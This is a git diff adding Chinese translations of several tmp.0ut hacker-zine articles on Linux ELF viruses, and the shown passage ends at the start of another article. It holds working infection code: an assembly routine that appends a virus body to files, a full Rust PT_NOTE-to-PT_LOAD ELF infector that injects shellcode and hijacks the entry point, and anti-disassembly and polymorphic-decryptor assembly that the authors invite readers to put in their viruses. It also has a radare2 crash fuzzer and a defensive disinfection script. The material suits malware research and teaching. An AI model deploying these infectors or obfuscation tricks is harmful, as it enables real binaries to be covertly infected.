+  栈顶,在这种情况下是'pop rbp'。弹出这条指令然后减去.delta将给你运行时病毒的内存地址,
+  这在下面读取/复制病毒代码时使用,你可以在'lea rsi, [rbp + v_start]'中看到 - 提供了
+  读取要写入字节的起始位置,要写入的字节数在调用pwrite64()之前放入rdx中。
+
+  .append_virus:
+    ; 获取目标EOF
+    mov rdi, r9               ; r9包含fd
+    mov rsi, 0                ; 寻址偏移0
+    mov rdx, SEEK_END         ; 从文件末尾开始
+    mov rax, SYS_LSEEK        ; lseek系统调用
+    syscall                   ; 在rax中获取目标EOF偏移
+    push rax                  ; 保存目标EOF
+
+    call .delta               ; 古老的技巧
+    .delta:
+        pop rbp
+        sub rbp, .delta
+
+    ; 将病毒主体写入EOF
+    mov rdi, r9               ; r9包含fd
+    lea rsi, [rbp + v_start]  ; 将v_start地址加载到rsi中
+    mov rdx, v_stop - v_start ; 病毒大小
+    mov r10, rax              ; rax包含来自前一个系统调用的目标EOF偏移
+    mov rax, SYS_PWRITE64     ; 系统调用#18,pwrite()
+    syscall
+
+PT_NOTE感染算法的好处是相对容易学习,而且非常灵活。它可以与其他技术结合使用,任何类型的
+数据都可以存储在转换后的PT_LOAD段中,包括符号表、原始数据、DT_NEEDED对象的代码,甚至是
+完全独立的ELF二进制文件。我希望这篇文章对任何学习x64汇编语言以用于操作ELF二进制文件的人
+都有帮助。 
\ No newline at end of file
diff --git a/1/zh/3.html b/1/zh/3.html
new file mode 100644
index 0000000..a653374
--- /dev/null
+++ b/1/zh/3.html
@@ -0,0 +1,266 @@
+
+
+tmp.0ut
+
+
+
+
+
+   \_______________________________________________________________________/
+o_/_________________________________________________________________________\_o
+   | |          ___________                              __              | |
+   | |          \__    ___/____ ______      ____  __ ___/  |_            | |
+   | |            |    | /     \\____ \    /  _ \|  |  \   __\           | |
+   | |            |    ||  Y Y  \  |_> >  (  <_> )  |  /|  |             | |
+   | |            |____||__|_|  /   __/ /\ \____/|____/ |__|             | |
+   | |                        \/|__|    \/                               | |
+   | |                                                                   | |
+   | |         ::: PT_NOTE到PT_LOAD的ELF注入器(Rust版本):::           | |
+   | |              `- 来自d3npa和tmp.0ut的爱 <3                        | |
+   | |                                                                   | |
+
++------------------------------------------------------------------------------
+| 日本语版本在Github上可用 / 日本語版はGithubにてご覧できます
+| https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector
++------------------------------------------------------------------------------
+
+我在SymbolCrash博客上读到一种技术,通过将程序头中的PT_NOTE转换为PT_LOAD来向ELF二进制文件
+注入shellcode。我觉得这很有趣,而且我对ELF了解不多,所以我把它当作一个机会来同时学习许多
+新东西。
+
+对于这个项目,我创建了一个小型的、非常不完整的库,我称之为mental_elf,它使解析和写入ELF
+元数据变得更容易。我认为库代码非常直观且易于理解,所以我在这里不会再多谈。
+
+====[ 概述 ]===============================================================
+
+正如标题所暗示的,这种感染技术涉及将ELF的`PT_NOTE`程序头转换为`PT_LOAD`以运行shellcode。
+感染可以归结为三个步骤:
+
+    - 将shellcode附加到ELF文件的末尾
+    - 将shellcode加载到虚拟内存中的特定地址
+    - 将ELF的入口点更改为上述地址,以便首先执行shellcode
+
+shellcode还应该针对每个ELF进行修补,使其跳回到宿主ELF的原始入口点,允许宿主在shellcode
+完成后正常执行。
+
+shellcode可以通过PT_LOAD头加载到虚拟内存中。将新的程序头插入ELF文件可能会破坏二进制文件
+中的许多偏移,但通常可以重新利用PT_NOTE头而不破坏二进制文件。
+
+以下是ELF规范中关于Note段的说明:
+
+    +--------------------------------------------------------------------------
+    | Note信息是可选的。Note信息的存在不会影响程序的ABI一致性,前提是该信息
+    | 不影响程序的执行行为。否则,程序就不符合ABI并具有未定义的行为。
+    +--------------------------------------------------------------------------
+
+以下是我意识到的两个注意事项:
+
+    - 这种简单的技术不适用于PIE。
+    - Go语言运行时实际上需要一个包含版本信息的有效PT_NOTE段才能运行,所以这种技术
+      不能用于Go二进制文件。
+
+注意:PIE可以在cc中使用`-no-pie`禁用,或在rustc中使用`-C relocation-model=static`禁用
+
+====[ shellcode ]==============================================================
+
+提供的shellcode是为Netwide ASseMbler (NASM)编写的。在运行Makefile之前,请确保安装了
+`nasm`!
+
+要创建适合此注入的shellcode,需要记住几点。AMD64系统V ABI的3.4.1节说,在入口之前必须将
+rbp、rsp和rdx寄存器设置为正确的值。这可以通过在shellcode周围进行普通的压栈和出栈来实现。
+
+我的shellcode不会触及rbp或rsp,在返回之前将rdx设置为零也可以工作。
+
+shellcode还需要进行修补,以便在完成后实际跳回到宿主的原始入口点。为了使修补更容易,
+shellcode可以设计为从文件末尾运行,可以是自上而下编写,也可以跳转到末尾的空标签:
+
+    +--------------------------------------------------------------------------
+    | main_tasks:
+    |    ; ...
+    |    jmp finish
+    | other_tasks:
+    |     ; ...
+    | finish:
+    +--------------------------------------------------------------------------
+
+使用这种设计,修补就像附加一个跳转指令一样简单。然而,在x86_64中,jmp不能接受64位操作数 - 
+相反,目标存储在rax中,然后执行jmp rax。这个rust片段修补"shellcode"字节向量以附加一个
+跳转到entry_point:
+
+    +--------------------------------------------------------------------------
+    | fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
+    |     // 将entry_point存储在rax中
+    |     shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
+    |     shellcode.extend_from_slice(&entry_point.to_ne_bytes());
+    |     // 跳转到rax中的地址
+    |     shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
+    | }
+    +--------------------------------------------------------------------------
+
+====[ 注入器 ]===============================================================
+
+注入器本身在src/main.rs中。它以易于理解的自上而下格式编写,所以如果你理解了概述,它应该
+非常清晰。我还添加了注释以帮助理解。代码使用我的mental_elf库来抽象读写文件的细节,这样
+更容易看到技术的本质。
+
+总的来说,代码:
+
+- 接受2个CLI参数:ELF目标和shellcode文件
+- 从ELF文件中读取ELF和程序头
+- 用跳转到原始入口点的指令修补shellcode
+- 将修补后的shellcode附加到ELF
+- 找到一个`PT_NOTE`程序头并将其转换为`PT_LOAD`
+- 将ELF的入口点更改为shellcode的开始
+- 将更改后的头结构保存回ELF文件
+
+当运行受感染的ELF文件时,ELF加载器会将ELF文件的几个部分映射到虚拟内存中 - 我们创建的
+PT_LOAD将确保我们的shellcode被加载并可执行。然后ELF的入口点开始执行shellcode。当
+shellcode结束时,它将跳转到原始入口点,允许二进制文件运行其原始代码。
+
+    +--------------------------------------------------------------------------
+    | $ make
+    | cd files && make && cd ..
+    | make[1]: Entering directory '/.../files'
+    | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs
+    | nasm -o shellcode.o shellcode.s
+    | make[1]: Leaving directory '/.../files'
+    | cargo run --release files/target files/shellcode.o
+    | Compiling mental_elf v0.1.0 
+    (https://github.com/d3npa/mental-elf#0355d2d3)
+    | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...)
+    |     Finished release [optimized] target(s) in 1.15s
+    |     Running `target/release/ptnote-to-ptload-elf-injection files/target 
+    files/shellcode.o`
+    | Found PT_NOTE section; converting to PT_LOAD
+    | echo 'Done! Run target with: `./files/target`'
+    | Done! Run target with: `./files/target`
+    | $ ./files/target
+    | dont tell anyone im here
+    | hello world!
+    | $
+    +--------------------------------------------------------------------------
+
+====[ 结语 ]================================================================
+
+这是一个非常有趣的项目!我学到了很多关于Rust、ELF和病毒的知识。感谢tmp.out的netspooky、
+sblip、TMZ和其他人教导我、帮助我调试并激励我完成这个项目 <3
+
+其他链接:
+- https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
+- http://www.skyfree.org/linux/references/ELF_Format.pdf
+- https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf
+- https://github.com/d3npa/mental-elf
+
+源代码如下:
+
+------------------------------------------------------------------------------
+  Cargo.toml
+------------------------------------------------------------------------------
+
+[package]
+...
+
+[dependencies.mental_elf]
+git = "https://github.com/d3npa/mental-elf"
+rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b"
+
+------------------------------------------------------------------------------
+  main.rs
+------------------------------------------------------------------------------
+
+use mental_elf::elf64::constants::*;
+use std::{env, fs, process};
+use std::io::prelude::*;
+use std::io::SeekFrom;
+
+fn main() -> Result<(), Box<dyn std::error::Error>> {
+    let args: Vec<String> = env::args().collect();
+    if args.len() != 3 {
+        eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]);
+        process::exit(1);
+    }
+
+    let elf_path = &args[1];
+    let sc_path = &args[2];
+
+    // 以RW权限打开目标ELF文件
+    let mut elf_fd = fs::OpenOptions::new()
+        .read(true)
+        .write(true)
+        .open(&elf_path)?;
+
+    // 从文件加载shellcode
+    let mut shellcode: Vec<u8> = fs::read(&sc_path)?;
+
+    // 解析ELF和程序头
+    let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?;
+    let mut program_headers = mental_elf::read_elf64_program_headers(
+        &mut elf_fd, 
+        elf_header.e_phoff, 
+        elf_header.e_phnum,
+    )?;
+
+    // 修补shellcode,使其在完成后跳转到原始入口点
+    patch_jump(&mut shellcode, elf_header.e_entry);
+
+    // 将shellcode附加到目标ELF的最末尾
+    elf_fd.seek(SeekFrom::End(0))?;
+    elf_fd.write(&shellcode)?;
+
+    // 计算用于修补ELF和程序头的偏移
+    let sc_len = shellcode.len() as u64;
+    let file_offset = elf_fd.metadata()?.len() - sc_len;
+    let memory_offset = 0xc00000000 + file_offset;
+
+    // 寻找PT_NOTE段
+    for phdr in &mut program_headers {
+        if phdr.p_type == PT_NOTE {
+            // 转换为PT_LOAD段,设置值以加载shellcode
+            println!("Found PT_NOTE section; converting to PT_LOAD");
+            phdr.p_type = PT_LOAD;
+            phdr.p_flags = PF_R | PF_X;
+            phdr.p_offset = file_offset;
+            phdr.p_vaddr = memory_offset;
+            phdr.p_memsz += sc_len as u64;
+            phdr.p_filesz += sc_len as u64;
+            // 修补ELF头以从shellcode开始
+            elf_header.e_entry = memory_offset;
+            break;
+        }
+    }
+
+    // 将更改提交到程序和ELF头
+    mental_elf::write_elf64_program_headers(
+        &mut elf_fd, 
+        elf_header.e_phoff,
+        elf_header.e_phnum,
+        program_headers,
+    )?;
+    mental_elf::write_elf64_header(&mut elf_fd, elf_header)?;
+
+    Ok(())
+}
+
+fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
+    // 将entry_point存储在rax中
+    shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
+    shellcode.extend_from_slice(&entry_point.to_ne_bytes());
+    // 跳转到rax中的地址
+    shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
+}
+
+------------------------------------------------------------------------------
+------------------------------------------------------------------------------
+
+ + \ No newline at end of file diff --git a/1/zh/4.html b/1/zh/4.html new file mode 100644 index 0000000..6cf4c89 --- /dev/null +++ b/1/zh/4.html @@ -0,0 +1,166 @@ + + +tmp.0ut + + + + +
+                                                                           ┌───────────────────────┐
+                                                                           ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                                           │ █   █ █ █ █   █       │
+                                                                           │ █   █ █ █ █▀▀▀▀       │
+                                                                           │ █   █   █ █     ▄     │
+                                                                           │                 ▄▄▄▄▄ │
+                                                                           │                 █   █ │
+                                                                           │                 █   █ │
+                                                                           │                 █▄▄▄█ │
+                                                                           │                 ▄   ▄ │
+                                                                           │                 █   █ │
+                                                                           │                 █   █ │
+                                                                           │                 █▄▄▄█ │
+                                                                           │                 ▄▄▄▄▄ │
+                                                                           │                   █   │
+PT_NOTE 清除工具                                                            │                   █   │
+~ manizzle                                                                 └───────────────────█ ──┘
+
+大家好。首先声明,我不是杀毒软件开发者。杀毒软件很糟糕,它们有bug而且通常容易被利用。
+请随意对lief和capstone进行模糊测试。我相信它们有bug。现在让我们来谈谈如何清除感染...
+
+PT_NOTE注入技术非常干净,它提供了一个现成的内存槽来填充有效载荷。但是对于所有的感染技术,
+通常都会有相应的清除技术。这就是生活的本质。
+
+我喜欢用清除的难易程度来衡量一个感染技术的好坏。清除技术中的常量越多,它就越容易被破解。
+猫鼠游戏不断进行,这也是开发越来越隐蔽的病毒的唯一方法。不断与自己较量,你的病毒就会成为
+令人疯狂和惊叹的存在。
+
+在这个清除工具中,我们利用了大多数病毒会尝试将PT_NOTE段加载到尽可能远的地方的事实,因为
+如果二进制文件很大,它们会试图确保有效载荷不会被覆盖并导致二进制文件加载问题,毕竟你得保持
+隐蔽对吧?
+
+我们使用K均值算法来开始并将PT_LOAD段聚类在一起,我们使用聚类相对于其质心的惯性来衡量K均值
+的效果。通常情况下,一个感染只会感染1个PT_NOTE,但也许sblip之后会告诉你,有时候会有2个 :)
+
+  if (math.log(cluster_1.inertia_)/math.log(cluster_2.inertia_)) < INERTIA_RATIO:
+
+一旦我们发现了哪些段似乎被映射得比平常远一些(当然,如果你想把PT_NOTE映射到有效PT_LOAD之间
+并重新定位整个镜像,我是说,谁会做这种事呢?),我们就可以开始深入研究它的代码。
+
+通常这些病毒会做更多的蠕虫式感染,感染更多的文件,但在某个时候它们需要让程序继续执行,你
+知道的,为了避免引起怀疑。我们可以假设跳转到原始入口点发生在被感染的PT_NOTE段的末尾,所以
+我们在那里寻找。
+
+有时跳转是直接的,有时是派生的。我们只需要跟踪跳转目标,直到它将OEP(原始入口点)添加到之前
+计算的基址(如果你想变得更花哨,你总可以使用use-def链,但当然病毒也可以变得更花哨,强迫你
+跨函数边界解析你的链,天啊!)
+
+  add {target}, CONST
+
+把它放回你的PHDR,你就回到正轨了。
+
+祝你下次好运,朋友!
+
+##################################################################
+
+#!/usr/bin/env python3
+
+from capstone import *
+from collections import Counter
+import lief
+import math
+import numpy as np
+from sklearn.cluster import KMeans
+import sys
+
+# 别做反逆向工程的傻瓜
+SUCKER_PUNCH = 3
+# 在一些大小二进制文件上测试过
+# 大多数正常二进制文件的值在1.0几的范围内
+# 即使是几兆字节的大文件也是如此。我相信我们能找到
+# 能打破它的东西
+INERTIA_RATIO = 1.1
+
+def find_anomalous_load_segment(segment_ranges):
+  segment_array = np.array(segment_ranges)
+  cluster_2 = KMeans(n_clusters=2, random_state=0).fit(segment_array)
+  cluster_1 = KMeans(n_clusters=1, random_state=0).fit(segment_array)
+  if (math.log(cluster_1.inertia_)/math.log(cluster_2.inertia_)) < INERTIA_RATIO:
+    print("未检测到异常")
+    return None
+  cluster_counts = {v:k for k,v in Counter(cluster_2.labels_.tolist()).items()}
+  if 1 not in cluster_counts:
+    print("未找到单一聚类")
+    return None
+  return segment_array[np.where(cluster_2.labels_ == cluster_counts[1])[0]][0]
+
+
+def find_oep(segment_bytes, segment_start):
+  # 我们目前支持x64-64,但这可以很容易地移植到
+  # 其他架构。在这里使用IR会很酷,
+  # 这样就可以跨平台了
+  md = Cs(CS_ARCH_X86, CS_MODE_64)
+  md.skipdata = True
+  oep = None
+  last_jump = None
+  early_bail = 0
+  for r in [instr for instr in md.disasm(segment_bytes, segment_start)][::-1]:
+    if last_jump:
+      # 如果我们看到形如
+      # add {target}, CONST
+      # 的指令,我们可能是在将OEP添加到基地址
+      # 我们可以通过实际构建一个真正的use-def链
+      # 并在这里解出rax的实际值来使这更通用。
+      # 这需要找到像get_rip这样的函数,
+      # 它们被用来使相对代码的跳转更容易
+      if last_jump + ", " in r.op_str and "add" == r.mnemonic.strip():
+        try:
+          oep = int(r.op_str.split(",")[1].strip(), 16)
+          break
+        except Exception as e:
+          # 继续,但现在不太可能找到它
+          # 再试几次,但不要太多
+          # 你不想被一些反逆向工程技术耍了
+          early_bail += 1
+          if early_bail == SUCKER_PUNCH:
+            break
+          continue
+    if not last_jump and r.mnemonic.strip() == "jmp":
+      target = r.op_str.strip()
+      # 尝试看看跳转是否直接发生
+      # 然后将该值作为OEP
+      try:
+        oep = int(target, 16)
+        break
+      except Exception as e:
+        # 如果不是,它可能是一个寄存器跳转
+        oep = None
+        last_jump = target
+  return oep
+
+def main():
+  l = lief.parse(sys.argv[1])
+  load_segs = [ [ll.virtual_address, ll.virtual_address + ll.virtual_size]
+        for ll in l.segments
+        if ll.type == lief.ELF.SEGMENT_TYPES.LOAD
+      ]
+  anomalous_segment_start, anomalous_segment_end = find_anomalous_load_segment(load_segs)
+  segment_bytes = l.get_content_from_virtual_address(anomalous_segment_start, anomalous_segment_end)
+  real_oep = find_oep(bytes(segment_bytes), anomalous_segment_start)
+  print("找到OEP: ", hex(real_oep))
+  l.header.entrypoint = real_oep
+  l.write(sys.argv[1] + ".cleaned")
+
+if __name__ == "__main__":
+  main()
+
+
\ No newline at end of file diff --git a/1/zh/5.html b/1/zh/5.html new file mode 100644 index 0000000..5572126 --- /dev/null +++ b/1/zh/5.html @@ -0,0 +1,163 @@ + + +tmp.0ut + + + + +
+                                                         ┌───────────────────────┐
+                                                         ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                         │ █   █ █ █ █   █       │
+                                                         │ █   █ █ █ █▀▀▀▀       │
+                                                         │ █   █   █ █     ▄     │
+                                                         │                 ▄▄▄▄▄ │
+                                                         │                 █   █ │
+                                                         │                 █   █ │
+                                                         │                 █▄▄▄█ │
+                                                         │                 ▄   ▄ │
+                                                         │                 █   █ │
+                                                         │                 █   █ │
+                                                         │                 █▄▄▄█ │
+                                                         │                 ▄▄▄▄▄ │
+                                                         │                   █   │
+用约30行代码对Radare2进行模糊测试寻找0day漏洞                 │                   █   │
+~ Architect & S01den                                     └───────────────────█ ──┘
+
+--- 摘要 ---
+
+Radare2是一个著名的开源逆向工程和二进制分析框架。
+
+这类工具在漏洞研究方面非常有趣,因为它们被用于恶意软件分析等领域。
+
+在本文中,我们将解释如何通过编写自己的"笨拙"模糊测试器并进行一些逆向工程,从零开始发现
+两个漏洞(CVE-2020-16269和CVE-2020-17487)。
+
+在第一部分,我们将解释如何对radare2进行模糊测试;在第二部分,我们将以ELF相关的漏洞
+(CVE-2020-16269)为例,说明如何使用模糊测试发现的崩溃来分析、隔离和复现漏洞。
+
+--- 模糊测试 ---
+
+为了找到这两个漏洞,我们对目标进行了简单的模糊测试。在进行简单模糊测试时,关键因素是
+拥有代码覆盖率多样化的语料库。
+
+我们选择使用Radare2的testbins仓库[0]。
+
+在模糊测试期间,我们在30分钟内就发现了崩溃,涉及多种不同的文件格式。其中,对我们来说
+最有趣的是PE和ELF,这是两种最常用的可执行文件格式。
+
+不多说了,这里是我们的模糊测试器的精简版本。
+
+----------------------------------- 分割线 -------------------------------------
+import glob;import random;import subprocess;import hashlib
+
+def harness(d):
+    tf = open("wdir/tmp", "wb")
+    tf.write(d)
+    tf.close()
+    try:
+        p = subprocess.run(['r2','-qq', '-AA','wdir/tmp'], stdin=None, timeout=10)
+    except:
+        return
+    try:
+        p.check_returncode()
+    except:
+        print(f"进程以代码{p.returncode}退出")
+        fh = hashlib.sha256(d).hexdigest()
+
+        dump = open(f'cdir/crash_{fh}', 'wb')
+        dump.write(d);dump.close()
+
+def mutate(data):
+    mutable_bytes = bytearray(data)
+    for a in range(10):
+        r = random.randint(0, len(mutable_bytes)-1)
+        mutable_bytes[r] = random.randint(0,254)
+
+    return mutable_bytes
+
+if __name__ == '__main__':
+    fs = glob.glob("corpus/*")
+    while True:
+        f = open(random.choice(fs), 'rb').read()
+        harness(mutate(f))
+----------------------------------------------------------------------------------
+
+--- 漏洞利用 ---
+
+有了几个能让Radare2崩溃的样本,让我们来看看崩溃的原因。
+
+第一个是ELF文件,是dwarftest的变异版本,dwarftest是一个包含DWARF信息的样本文件。
+
+==================================================================================
+$ file dwarftest
+---> dwarftest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
+linked, ...,with debug_info, not stripped
+==================================================================================
+
+要找出触发漏洞的字节,我们使用调试器分析在Radare2中加载的问题样本。
+
+另外,也可以通过对比原始样本和变异样本来找到问题字节。
+
+我们可以使用radiff2轻松完成这项工作:
+==================================================================================
+$ radiff2 bins/src/dwarftest mutated_dwarftest
+0x000010e1 00 => 01 0x000010e1
+==================================================================================
+
+文件中的这个偏移是DWARF结构的一部分。这仅适用于已经附加了DWARF信息的二进制文件,但我们
+应该能够制作格式错误的DWARF信息并将其注入到任何ELF文件中。
+
+要弄清楚为什么我们的DWARF信息会让Radare2不高兴,我们可以用objdump看看:
+==================================================================================
+$ objdump --dwarf=info mutated_dwarftest
+...
+		<4c> DW_AT_name :objdump: WARNING: the DW_FORM_strp shift is too
+		large: 164 (indirect string, shift: 0x164): <shift too large>
+...
+==================================================================================
+
+好了,我们差不多完成了。
+
+现在,只需要看看如何利用它。为此,我们只需要用gdb查看崩溃的回溯,然后分析触发漏洞的
+函数的源代码(幸运的是radare2是一个开源项目)。
+
+有问题的代码行在parse_typedef函数中:
+==================================================================================
+name = strdup (value->string.content);
+==================================================================================
+
+当复制的字符串为NULL时,这会触发空指针解引用,不详细说明的话,我们通过逆向工程的禁忌
+力量发现,当DW_AT_name中的偏移太大时就会出现这种情况。
+
+现在,是时候编写一个脚本,可以修改任何ELF文件来触发这个漏洞了。在附录中,你可以找到
+完整的漏洞利用代码,其中包含PE漏洞的利用(CVE-2020-17487,它也只是让radare2无法加载
+二进制文件)。
+
+--- 结论 ---
+
+我们希望你喜欢这篇文章。
+
+现在,你知道在广泛使用的工具中找到漏洞并不那么难。所以现在,试着自己去寻找(尤其是在
+逆向工程工具中)!
+
+即使漏洞除了DoS之外无法利用,在加载二进制文件时使逆向工程工具崩溃仍然是有用的...
+
+--- 注释和参考文献 ---
+
+[0] https://github.com/radareorg/radare2-testbins
+
+--- 附录 ---
+
+- 漏洞利用概念验证
+
\ No newline at end of file diff --git a/1/zh/6.html b/1/zh/6.html new file mode 100644 index 0000000..1118262 --- /dev/null +++ b/1/zh/6.html @@ -0,0 +1,229 @@ + + +tmp.0ut + + + + +
+                                                            ┌───────────────────────┐
+                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                            │ █   █ █ █ █   █       │
+                                                            │ █   █ █ █ █▀▀▀▀       │
+                                                            │ █   █   █ █     ▄     │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄   ▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                   █   │
+多态假反汇编技术                                              │                   █   │
+~ S01den                                                    └───────────────────█ ──┘
+
+由S01den(来自tmp.out团队)用爱创作!
+邮箱:S01den@protonmail.com
+
+--- 引言 ---
+
+当我在编写Lin32.Bakunin[0]时,我在思考如何让它比仅仅是一个用MIPS汇编编写的打印无聊内容的
+病毒更有趣。我只是想让逆向工程师感到烦恼。于是,我想起了我在一些crackme中实现的假反汇编
+技术。
+
+因为多态性很酷,我想弄清楚是否可以通过某种方式将它与假反汇编结合起来创造出有趣的东西。
+
+答案是肯定的,我称这个技巧为"多态假反汇编"或简称"假多态"(我不知道这是否是一个新技术)。
+
+--- 假反汇编是如何工作的? ---
+
+这个技术在理解和实现上都非常直接。
+我是在Silvio Cesare[1]关于Linux反调试和逆向技术的著名论文中发现它的。
+你只需要在你的汇编代码前放置一些通常会开始一条指令的字节,像这样:
+
+-------------------- 分割线 --------------------
+hey:                      hey:
+   xor %rbx, %rbx             .ascii "\x48\x31"
+   jmp yo            ====>     xor %rbx, %rbx
+                               jmp yo
+---------------------------------------------------
+
+现在,如果我们看这两段代码的反汇编结果,会看到类似这样的内容(使用radare2):
+
+-------------------- 分割线 --------------------
+;-- hey:
+0x00401002      4831db         xor rbx, rbx
+0x00401005      eb02           jmp 0x401009
+
+                     ||
+                     \/
+;-- hey:
+0x00401002      48314831       xor qword [rax + 0x31], rcx
+0x00401006      dbeb           fucomi st(3)
+0x00401008      026631         add ah, byte [rsi + 0x31]
+
+---------------------------------------------------
+
+为什么反汇编器会这样表现?
+
+好吧,\x48\x31通常会开始一个xor指令[2],后面的字节通常定义我们操作的寄存器。
+
+所以这些"初始化"字节会粘附到后面的字节,而这些后续字节本身也是"初始化"字节,反汇编器
+会将它们解释为"寄存器"字节,并显示垃圾内容而不是我们想要的指令!
+
+因此,要能够执行这样的代码,你必须跳过你刚刚放置的字节。
+你应该得到类似这样的结果:
+
+-------------------- 分割线 --------------------
+_start:
+jmp hey+2
+
+hey:
+   .ascii "\x48\x31"
+   xor %rbx, %rbx
+   jmp yo
+---------------------------------------------------
+
+--- 完整代码 ---
+
+现在,想象一下,如果你可以在每次执行或感染时随机改变造成假反汇编的字节,反汇编的代码也会
+改变,逆向工程师会认为代码是多态的,而实际上只有几个字节在真正改变...
+
+现在,不多说了,这是完整的代码。
+
+----------- 分割线 -----------
+# 构建命令: as Linux.FakePolymorphism.asm -o fakePoly.o ; ld fakePoly.o -o fakePoly
+
+# 这段代码是一个假多态的示例,随意尝试/使用/随便做什么!
+# 它获取自己的代码,修改假反汇编字节并将结果放在栈上。
+
+.text
+  .global _start
+
+_start:
+jmp true_start+2 # 跳过假反汇编字节
+
+true_start:
+.ascii "\x48\x31"  # 假反汇编字节
+xor %rbx, %rbx
+jmp get_code+2 # 跳过假反汇编字节
+
+get_code:
+  .ascii "\x66\x31"  # 假反汇编字节
+  call get_rip
+  sub $0x10 ,%rax # 0x10是_start和这条指令之间的字节数
+  movb (%rax,%rbx), %al
+  movb %al, (%rsp,%rbx)
+  inc %rbx
+  cmp $0x54, %rbx  # 0x54是这段代码的总大小
+  jne get_code+2
+
+  # 使用时间戳计数器的伪随机数生成
+  rdtsc
+  xor $0xdead, %rax
+  mov %ax, 2(%rsp)
+  xor $0xbeef, %rdx
+  mov %ax, 9(%rsp)
+
+  mov $60, %rax
+  mov $0, %rdi
+  syscall # sys_exit
+
+get_rip:
+  mov (%rsp), %rax
+  ret
+----------------------------
+
+-- 结论 --
+
+我希望你喜欢这篇文章,并且会尝试在你的crackme或病毒中实现这个技术!
+
+我和sblip写了一个使用这个技术来混淆其解密器的多态病毒(Lin64.Eng3ls,查看论文和代码!)。
+
+解密器的代码:
+------- 分割线 -------
+  pop rcx
+  jmp jmp_over+2
+  jmp_over:
+    db `\x48\x31` ; 假反汇编
+    mov al,0x00
+    xor rdx, rdx
+
+  decoder:
+    jmp jmp_over2+2
+
+    jmp_over2:
+      db `\xb8\xd9` ; 假反汇编
+      mov dl, byte [r12+rdi]
+      cmp rdi, STUB_SIZE-1
+      jna no_decrypt
+
+      jmp jmp_over3+2
+      jmp_over3:
+        db `\x48\x81` ; 假反汇编
+        xor dl, al
+
+  no_decrypt:
+    mov byte [rbx+rdi], dl
+    inc rdi
+  loop decoder
+-------------------------
+
+这里是一些被感染二进制文件中反汇编[3]的解密器,让我们看看这个技巧的效果:
+
+1. 
+  0x0c003f46      59             pop rcx                 
+  0x0c003f47      eb02           jmp 0xc003f4b           
+  0x0c003f49      00d6           add dh, dl              
+  0x0c003f4b      b06d           mov al, 0x6d            
+  0x0c003f4d      4831d2         xor rdx, rdx            
+  0x0c003f50      eb02           jmp 0xc003f54           
+  0x0c003f52      1aca           sbb cl, dl              
+  0x0c003f54      418a143c       mov dl, byte [r12 + rdi]
+  0x0c003f58      4881ff870000.  cmp rdi, 0x87           
+  0x0c003f5f      7606           jbe 0xc003f67           
+  0x0c003f61      eb02           jmp 0xc003f65           
+  0x0c003f63      c0d630         rcl dh, 0x30            
+  0x0c003f66      c28814         ret 0x1488              
+  0x0c003f69      3b48ff         cmp ecx, dword [rax - 1]
+  0x0c003f6c      c7             invalid                 
+  0x0c003f6d      e2e1           loop 0xc003f50          
+
+2.
+  0x0c003fe6      59             pop rcx
+  0x0c003fe7      eb02           jmp 0xc003feb
+  0x0c003fe9      ce             invalid
+  0x0c003fea      0ab0a34831d2   or dh, byte [rax - 0x2dceb75d]
+  0x0c003ff0      eb02           jmp 0xc003ff4
+  0x0c003ff2      39cb           cmp ebx, ecx
+  0x0c003ff4      418a143c       mov dl, byte [r12 + rdi]
+  0x0c003ff8      4881ff870000.  cmp rdi, 0x87
+  0x0c003fff      7606           jbe 0xc004007
+  0x0c004003      0e             invalid
+  0x0c004004      0a30           or dh, byte [rax]
+  0x0c004006      c28814         ret 0x1488
+  0x0c004009      3b48ff         cmp ecx, dword [rax - 1]
+  0x0c00400c      c7             invalid
+  0x0c00400d      e2e1           loop 0xc003ff0
+
+结果与原始代码有很大的不同。
+
+--- 注释和参考文献 ---
+[0] https://vx-underground.org/papers/VXUG
+      /Exclusive/Bakounin/Writing_virus_in_MIPS_assembly_for_fun.txt
+[1] http://www.ouah.org/linux-anti-debugging.txt // Silvio的论文
+[2] https://www.felixcloutier.com/x86/xor
+[3] 使用radare2
+
\ No newline at end of file diff --git a/1/zh/7.html b/1/zh/7.html new file mode 100644 index 0000000..337e605 --- /dev/null +++ b/1/zh/7.html @@ -0,0 +1,266 @@ + + +tmp.0ut + + + + +
+                                                            ┌───────────────────────┐
+                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                            │ █   █ █ █ █   █       │
+                                                            │ █   █ █ █ █▀▀▀▀       │
+                                                            │ █   █   █ █     ▄     │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄   ▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                   █   │
+Lin64.Eng3ls:Linux病毒中的一些反逆向工程技术                   │                   █   │
+~ S01den & sblip                                            └───────────────────█ ──┘
+
+由S01den用爱创作。
+邮箱:S01den@protonmail.com
+
+--- 引言 ---
+
+我和Sblip在一个周末为一个私人活动开发了Lin64.Eng3ls。
